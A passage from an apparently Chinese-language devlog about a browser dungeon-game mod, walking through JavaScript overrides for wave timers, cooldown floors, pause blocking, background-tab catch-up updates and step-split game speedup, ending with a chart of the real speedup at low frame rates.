<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Game</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(); </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">            // 只補滿到「剛好一波」：updateWave 會扣掉一個 WAVE_DURATION 並 +1 波。</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">            // (舊版設成 1e9，每幀只扣一次所以會連續無限跳波)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            Game.waveTimer </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Game.waveTimer, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">WAVE_DURATION</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        },</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L253-L258">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L253-258</a></p><p>改計時器之前，要先看遊戲是把它<strong>重設</strong>成 0，還是<strong>扣掉</strong>一個固定值。</p></details>
<details><summary>原版藏了冷卻下限</summary><p>攻速拉很高也沒變快。原始碼裡普攻冷卻最低 0.2 秒、技能的冷卻縮放最低 0.4。換掉 <code>cooldownNow()</code> 把普攻下限放寬到 0.05 秒：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 原版普攻冷卻最低 0.2 秒，這裡放寬讓高攻速有效</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> OrigCooldown</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> window.cooldownNow;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">cooldownNow</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> () {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Game</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> OrigCooldown.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">apply</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">this</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">arguments</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0.05</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Game.character.stats.cooldown </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.player.cdMult </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Cfg.AtkSpeed);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    };</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L60-L66">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L60-66</a></p><p>技能那邊的 0.4 不好改，就在每幀額外扣它的冷卻：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">        // 技能冷卻加速 (原版 cdMult 對技能有 0.4 的下限，這裡額外加速)</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.AtkSpeed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> typeof</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> SKILLS</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "undefined"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Id</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> of</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Object.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">keys</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Game.skills)) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Def</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> SKILLS</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[Id];</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Def </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Def.update) Game.skills[Id].cd </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Dt </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.AtkSpeed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L145-L151">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L145-151</a></p><p>「倍率不動」最後拆出來是三個不同的 bug 疊在一起。只調高滑桿上限的話，永遠修不好。</p></details>
<details><summary>防止暫停：入口只有一個</summary><p>P 鍵、暫停鈕、打開設定，最後都走 <code>togglePause()</code>。換掉它，想暫停的呼叫直接忽略：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> OrigToggle</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> window.togglePause;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">togglePause</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> () {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Game</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.NoPause </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game.paused) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> OrigToggle.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">apply</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">this</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">arguments</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    };</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L71-L76">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L71-76</a></p><p>分頁在背景時瀏覽器會停掉 <code>requestAnimationFrame</code>，所以另外開一個計時器，用實際經過的時間補跑 <code>updateGame</code>，每步最多 0.05 秒、最多補 5 秒：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> BgLast </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> performance.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">now</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    setInterval</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> () {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Now</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> performance.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">now</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Elapsed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Now </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> BgLast) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        BgLast </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Now;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Game</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Cfg.NoPause </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">document.hidden </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">typeof</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> scene </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "undefined"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> scene </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "playing"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        Elapsed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">min</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Elapsed, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">); </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 最多補 5 秒，避免一次算太久</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        while</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Elapsed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0.0001</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Game.paused </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.choosing </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.dead) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">break</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Step</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">min</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0.05</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Elapsed);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">updateGame</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Step);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            Elapsed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Step;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">250</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L86-L101">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L86-101</a></p></details>
<details><summary>遊戲加速要切步</summary><p><code>dt</code> 直接乘倍率，步長太大會讓碰撞判定漏掉。改成一幀的時間乘上倍率後，切成每步最多 0.05 秒連跑：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 遊戲加速：把一幀的時間 ×GameSpeed，切成每步最多 0.05 秒 (和原版單步上限一致，</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 避免步長過大造成穿牆/判定漏掉)，同一幀內連跑多步。畫面仍每幀只繪製一次。</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">updateGame</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Dt</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Speed</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Cfg.GameSpeed);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Speed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> StepUpdate</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Dt);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Left </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Dt </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Speed;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Guard </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        while</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Left </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0.0001</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Guard</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 400</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Game</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.paused </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.choosing </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.dead) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">break</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Step</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">min</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0.05</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Left);</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            StepUpdate</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Step);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            Left </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Step;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    };</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L162-L176">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L162-176</a></p><p>低幀率會打折。原版每幀最多算 0.05 秒，在約 6 幀的分頁開 5 倍速，實際只快約 1.5 倍：每秒 6 幀 × 0.05 秒 × 5 倍 = 1.5。</p><figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="5 倍速在約 6 幀的分頁上的實際效果（遊戲秒數／真實秒數）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">2.5</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">5</text><rect x="135" y="24" width="62" height="206" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="167" y="18" text-anchor="middle" style="fill:var(--ink);font-size:11px">5</text><text x="167" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">滑桿設定</text><rect x="381" y="168.2" width="62" height="61.80000000000001" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="413" y="162.2" text-anchor="middle" style="fill:var(--ink);font-size:11px">1.5</text><text x="413" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">實測</text></svg><figcaption>5 倍速在約 6 幀的分頁上的實際效果（遊戲秒數／真實秒數）</figcaption></figure></details>
